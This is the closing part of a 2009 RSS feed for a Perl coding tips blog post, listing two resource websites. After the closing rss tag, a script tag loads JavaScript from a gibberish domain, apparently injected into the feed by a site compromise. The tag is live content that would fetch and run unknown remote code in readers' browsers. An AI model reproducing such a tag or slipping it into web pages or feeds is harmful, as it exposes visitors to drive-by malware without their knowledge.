<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perlfect.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.pageresource.com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>